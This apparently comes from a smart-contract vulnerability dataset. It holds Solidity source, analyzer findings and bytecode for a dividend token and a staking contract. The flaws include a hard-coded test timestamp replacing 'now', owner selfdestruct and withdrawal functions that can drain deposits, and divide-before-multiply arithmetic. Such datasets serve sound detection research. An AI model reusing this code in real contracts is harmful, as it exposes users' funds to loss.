SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function disable() public { require( msg.sender == owner, "ONLY OWNER" ); selfdestruct(owner); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
518
0x2f96ca665bff1171fe921bdecefbad51e2576395
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function changeOwner(address _newOwner) onlyOwner public { require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; } } contract ContractStakeToken is Ownable { using SafeMath for uint256; enum TypeStake {DAY, WEEK, MONTH} TypeStake typeStake; enum StatusStake {ACTIVE, COMPLETED, CANCEL} struct TransferInStructToken { uint256 indexStake; bool isRipe; } struct StakeStruct { address owner; uint256 amount; TypeStake stakeType; uint256 time; StatusStake status; } StakeStruct[] arrayStakesToken; uint256[] public rates = [101, 109, 136]; uint256 public totalDepositTokenAll; uint256 public totalWithdrawTokenAll; mapping (address => uint256) balancesToken; mapping (address => uint256) totalDepositToken; mapping (address => uint256) totalWithdrawToken; mapping (address => TransferInStructToken[]) transferInsToken; mapping (address => bool) public contractUsers; event Withdraw(address indexed receiver, uint256 amount); function ContractStakeToken(address _owner) public { require(_owner != address(0)); owner = _owner; //owner = msg.sender; // for test&#39;s } modifier onlyOwnerOrUser() { require(msg.sender == owner || contractUsers[msg.sender]); _; } /** * @dev Add an contract admin */ function setContractUser(address _user, bool _isUser) public onlyOwner { contractUsers[_user] = _isUser; } // fallback function can be used to buy tokens function() payable public { //deposit(msg.sender, msg.value, TypeStake.DAY, now); } function depositToken(address _investor, TypeStake _stakeType, uint256 _time, uint256 _value) onlyOwnerOrUser external returns (bool){ require(_investor != address(0)); require(_value > 0); require(transferInsToken[_investor].length < 31); balancesToken[_investor] = balancesToken[_investor].add(_value); totalDepositToken[_investor] = totalDepositToken[_investor].add(_value); totalDepositTokenAll = totalDepositTokenAll.add(_value); uint256 indexStake = arrayStakesToken.length; arrayStakesToken.push(StakeStruct({ owner : _investor, amount : _value, stakeType : _stakeType, time : _time, status : StatusStake.ACTIVE })); transferInsToken[_investor].push(TransferInStructToken(indexStake, false)); return true; } /** * @dev Function checks how much you can remove the Token * @param _address The address of depositor. * @param _now The current time. * @return the amount of Token that can be withdrawn from contract */ function validWithdrawToken(address _address, uint256 _now) public returns (uint256){ require(_address != address(0)); uint256 amount = 0; if (balancesToken[_address] <= 0 || transferInsToken[_address].length <= 0) { return amount; } for (uint i = 0; i < transferInsToken[_address].length; i++) { uint256 indexCurStake = transferInsToken[_address][i].indexStake; TypeStake stake = arrayStakesToken[indexCurStake].stakeType; uint256 stakeTime = arrayStakesToken[indexCurStake].time; uint256 stakeAmount = arrayStakesToken[indexCurStake].amount; uint8 currentStake = 0; if (arrayStakesToken[transferInsToken[_address][i].indexStake].status == StatusStake.CANCEL) { amount = amount.add(stakeAmount); transferInsToken[_address][i].isRipe = true; continue; } if (stake == TypeStake.DAY) { currentStake = 0; if (_now < stakeTime.add(1 days)) continue; } if (stake == TypeStake.WEEK) { currentStake = 1; if (_now < stakeTime.add(7 days)) continue; } if (stake == TypeStake.MONTH) { currentStake = 2; if (_now < stakeTime.add(730 hours)) continue; } uint256 amountHours = _now.sub(stakeTime).div(1 hours); stakeAmount = calculator(currentStake, stakeAmount, amountHours); amount = amount.add(stakeAmount); transferInsToken[_address][i].isRipe = true; arrayStakesToken[transferInsToken[_address][i].indexStake].status = StatusStake.COMPLETED; } return amount; } function withdrawToken(address _address) onlyOwnerOrUser public returns (uint256){ require(_address != address(0)); uint256 _currentTime = now; _currentTime = 1525651200; // for test uint256 _amount = validWithdrawToken(_address, _currentTime); require(_amount > 0); totalWithdrawToken[_address] = totalWithdrawToken[_address].add(_amount); totalWithdrawTokenAll = totalWithdrawTokenAll.add(_amount); while (clearTransferInsToken(_address) == false) { clearTransferInsToken(_address); } Withdraw(_address, _amount); return _amount; } function clearTransferInsToken(address _owner) private returns (bool) { for (uint i = 0; i < transferInsToken[_owner].length; i++) { if (transferInsToken[_owner][i].isRipe == true) { balancesToken[_owner] = balancesToken[_owner].sub(arrayStakesToken[transferInsToken[_owner][i].indexStake].amount); removeMemberArrayToken(_owner, i); return false; } } return true; } function removeMemberArrayToken(address _address, uint index) private { if (index >= transferInsToken[_address].length) return; for (uint i = index; i < transferInsToken[_address].length - 1; i++) { transferInsToken[_address][i] = transferInsToken[_address][i + 1]; } delete transferInsToken[_address][transferInsToken[_address].length - 1]; transferInsToken[_address].length--; } function balanceOfToken(address _owner) public view returns (uint256 balance) { return balancesToken[_owner]; } function cancel(uint256 _index, address _address) onlyOwnerOrUser public returns (bool _result) { require(_index >= 0); require(_address != address(0)); if(_address != arrayStakesToken[_index].owner){ return false; } arrayStakesToken[_index].status = StatusStake.CANCEL; return true; } function withdrawOwner(uint256 _amount) public onlyOwner returns (bool) { require(this.balance >= _amount); owner.transfer(_amount); Withdraw(owner, _amount); } function changeRates(uint8 _numberRate, uint256 _percent) onlyOwnerOrUser public returns (bool) { require(_percent >= 0); require(0 <= _numberRate && _numberRate < 3); rates[_numberRate] = _percent.add(100); return true; } function getTokenStakeByIndex(uint256 _index) onlyOwnerOrUser public view returns ( address _owner, uint256 _amount, TypeStake _stakeType, uint256 _time, StatusStake _status ) { require(_index < arrayStakesToken.length); _owner = arrayStakesToken[_index].owner; _amount = arrayStakesToken[_index].amount; _stakeType = arrayStakesToken[_index].stakeType; _time = arrayStakesToken[_index].time; _status = arrayStakesToken[_index].status; } function getTokenTransferInsByAddress(address _address, uint256 _index) onlyOwnerOrUser public view returns ( uint256 _indexStake, bool _isRipe ) { require(_index < transferInsToken[_address].length); _indexStake = transferInsToken[_address][_index].indexStake; _isRipe = transferInsToken[_address][_index].isRipe; } function getCountTransferInsToken(address _address) public view returns (uint256 _count) { _count = transferInsToken[_address].length; } function getCountStakesToken() public view returns (uint256 _count) { _count = arrayStakesToken.length; } function getTotalTokenDepositByAddress(address _owner) public view returns (uint256 _amountToken) { return totalDepositToken[_owner]; } function getTotalTokenWithdrawByAddress(address _owner) public view returns (uint256 _amountToken) { return totalWithdrawToken[_owner]; } function removeContract() public onlyOwner { selfdestruct(owner); } function calculator(uint8 _currentStake, uint256 _amount, uint256 _amountHours) public view returns (uint256 stakeAmount){ uint32 i = 0; uint256 number = 0; stakeAmount = _amount; if (_currentStake == 0) { number = _amountHours.div(24); } if (_currentStake == 1) { number = _amountHours.div(168); } if (_currentStake == 2) { number = _amountHours.div(730); } while(i < number){ stakeAmount= stakeAmount.mul(rates[_currentStake]).div(100); i++; } } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632583b2e41461012a5780632f5867b3146101555780634a7004b9146101a757806357d682c4146101fe5780635eda232d1461026357806369671622146103085780636ef98b211461038457806375651e79146103c9578063878a44a01461042a57806389476069146104815780638da5cb5b146104d8578063916b86cb1461052f5780639660ab3a1461059b57806398dd4b7c146105ea578063a6f9dae114610615578063ad00126614610658578063b99152d0146106b3578063bcc943091461070a578063bfb2fad714610762578063dd418ae21461078d578063e265c5e2146107ce578063fe389e0914610825575b005b34801561013657600080fd5b5061013f61083c565b6040518082815260200191505060405180910390f35b34801561016157600080fd5b5061018d600480360381019080803560ff16906020019092919080359060200190929190505050610842565b604051808215151515815260200191505060405180910390f35b3480156101b357600080fd5b506101e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610963565b6040518082815260200191505060405180910390f35b34801561020a57600080fd5b5061024960048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ac565b604051808215151515815260200191505060405180910390f35b34801561026f57600080fd5b5061028e60048036038101908080359060200190929190505050610b74565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018460028111156102d657fe5b60ff1681526020018381526020018260028111156102f057fe5b60ff1681526020019550505050505060405180910390f35b34801561031457600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050610d30565b604051808215151515815260200191505060405180910390f35b34801561039057600080fd5b506103af600480360381019080803590602001909291905050506111b9565b604051808215151515815260200191505060405180910390f35b3480156103d557600080fd5b50610414600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611318565b6040518082815260200191505060405180910390f35b34801561043657600080fd5b5061046b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118b5565b6040518082815260200191505060405180910390f35b34801561048d57600080fd5b506104c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611901565b6040518082815260200191505060405180910390f35b3480156104e457600080fd5b506104ed611b43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053b57600080fd5b5061057a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b68565b60405180838152602001821515151581526020019250505060405180910390f35b3480156105a757600080fd5b506105e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611d3e565b005b3480156105f657600080fd5b506105ff611df4565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e01565b005b34801561066457600080fd5b50610699600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f56565b604051808215151515815260200191505060405180910390f35b3480156106bf57600080fd5b506106f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f76565b6040518082815260200191505060405180910390f35b34801561071657600080fd5b5061074c600480360381019080803560ff1690602001909291908035906020019092919080359060200190929190505050611fbf565b6040518082815260200191505060405180910390f35b34801561076e57600080fd5b506107776120a1565b6040518082815260200191505060405180910390f35b34801561079957600080fd5b506107b8600480360381019080803590602001909291905050506120a7565b6040518082815260200191505060405180910390f35b3480156107da57600080fd5b5061080f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120ca565b6040518082815260200191505060405180910390f35b34801561083157600080fd5b5061083a612113565b005b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108e85750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156108f357600080fd5b6000821015151561090357600080fd5b8260ff1660001115801561091a575060038360ff16105b151561092557600080fd5b6109396064836121a890919063ffffffff16565b60028460ff1681548110151561094b57fe5b90600052602060002001819055506001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a525750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610a5d57600080fd5b60008310151515610a6d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610aa957600080fd5b600183815481101515610ab857fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610b275760009050610b6e565b6002600184815481101515610b3857fe5b906000526020600020906005020160040160006101000a81548160ff02191690836002811115610b6457fe5b0217905550600190505b92915050565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c205750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610c2b57600080fd5b60018054905086101515610c3e57600080fd5b600186815481101515610c4d57fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450600186815481101515610c9057fe5b9060005260206000209060050201600101549350600186815481101515610cb357fe5b906000526020600020906005020160020160009054906101000a900460ff169250600186815481101515610ce357fe5b9060005260206000209060050201600301549150600186815481101515610d0657fe5b906000526020600020906005020160040160009054906101000a900460ff16905091939590929450565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd75750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610de257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610e1e57600080fd5b600083111515610e2d57600080fd5b601f600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050101515610e7e57600080fd5b610ed083600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6583600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fbd836003546121a890919063ffffffff16565b6003819055506001805490509050600160a0604051908101604052808873ffffffffffffffffffffffffffffffffffffffff16815260200185815260200187600281111561100757fe5b81526020018681526020016000600281111561101f57fe5b8152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548160ff021916908360028111156110c257fe5b02179055506060820151816003015560808201518160040160006101000a81548160ff021916908360028111156110f557fe5b0217905550505050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604080519081016040528083815260200160001515815250908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055505050506001915050949350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121657600080fd5b813073ffffffffffffffffffffffffffffffffffffffff16311015151561123c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156112a3573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364836040518082815260200191505060405180910390a2919050565b60008060008060008060008060008073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff161415151561136157600080fd5b600097506000600560008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115806113f757506000600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011155b15611404578798506118a7565b600096505b600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508710156118a357600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110151561149f57fe5b90600052602060002090600202016000015495506001868154811015156114c257fe5b906000526020600020906005020160020160009054906101000a900460ff1694506001868154811015156114f257fe5b906000526020600020906005020160030154935060018681548110151561151557fe5b90600052602060002090600502016001015492506000915060028081111561153957fe5b6001600860008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208981548110151561158757fe5b9060005260206000209060020201600001548154811015156115a557fe5b906000526020600020906005020160040160009054906101000a900460ff1660028111156115cf57fe5b1415611665576115e883896121a890919063ffffffff16565b97506001600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208881548110151561163857fe5b906000526020600020906002020160010160006101000a81548160ff021916908315150217905550611896565b6000600281111561167257fe5b85600281111561167e57fe5b14156116ab576000915061169e62015180856121a890919063ffffffff16565b8a10156116aa57611896565b5b600160028111156116b857fe5b8560028111156116c457fe5b14156116f157600191506116e462093a80856121a890919063ffffffff16565b8a10156116f057611896565b5b6002808111156116fd57fe5b85600281111561170957fe5b14156117365760029150611729622819a0856121a890919063ffffffff16565b8a101561173557611896565b5b61175d610e1061174f868d6121c690919063ffffffff16565b6121df90919063ffffffff16565b905061176a828483611fbf565b925061177f83896121a890919063ffffffff16565b97506001600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811015156117cf57fe5b906000526020600020906002020160010160006101000a81548160ff021916908315150217905550600180600860008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208981548110151561184657fe5b90600052602060002090600202016000015481548110151561186457fe5b906000526020600020906005020160040160006101000a81548160ff0219169083600281111561189057fe5b02179055505b8680600101975050611409565b8798505b505050505050505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119aa5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156119b557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156119f157600080fd5b429150635aef97009150611a058483611318565b9050600081111515611a1657600080fd5b611a6881600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a890919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac0816004546121a890919063ffffffff16565b6004819055505b60001515611ad4856121fa565b15151415611aeb57611ae5846121fa565b50611ac7565b8373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364826040518082815260200191505060405180910390a28092505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611c0f5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611c1a57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905083101515611c6a57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515611cb657fe5b9060005260206000209060020201600001549150600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515611d1657fe5b906000526020600020906002020160010160009054906101000a900460ff1690509250929050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d9957600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600180549050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e9857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008091506000905084925060008660ff161415611ff157611fee6018856121df90919063ffffffff16565b90505b60018660ff1614156120145761201160a8856121df90919063ffffffff16565b90505b60028660ff161415612038576120356102da856121df90919063ffffffff16565b90505b5b808263ffffffff16101561209857612089606461207b60028960ff1681548110151561206157fe5b90600052602060002001548661240090919063ffffffff16565b6121df90919063ffffffff16565b92508180600101925050612039565b50509392505050565b60035481565b6002818154811015156120b657fe5b906000526020600020016000915090505481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561216e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008082840190508381101515156121bc57fe5b8091505092915050565b60008282111515156121d457fe5b818303905092915050565b60008082848115156121ed57fe5b0490508091505092915050565b600080600090505b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156123f55760011515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561229c57fe5b906000526020600020906002020160010160009054906101000a900460ff16151514156123e8576123926001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110151561231457fe5b90600052602060002090600202016000015481548110151561233257fe5b906000526020600020906005020160010154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df8382612433565b600091506123fa565b8080600101915050612202565b600191505b50919050565b60008082840290506000841480612421575082848281151561241e57fe5b04145b151561242957fe5b8091505092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905082101515612485576126e6565b8190505b6001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038110156125d457600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001820181548110151561252557fe5b9060005260206000209060020201600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561257f57fe5b9060005260206000209060020201600082015481600001556001820160009054906101000a900460ff168160010160006101000a81548160ff0219169083151502179055509050508080600101915050612489565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381548110151561266557fe5b90600052602060002090600202016000808201600090556001820160006101000a81549060ff02191690555050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054809190600190036126e491906126eb565b505b505050565b81548183558181111561271857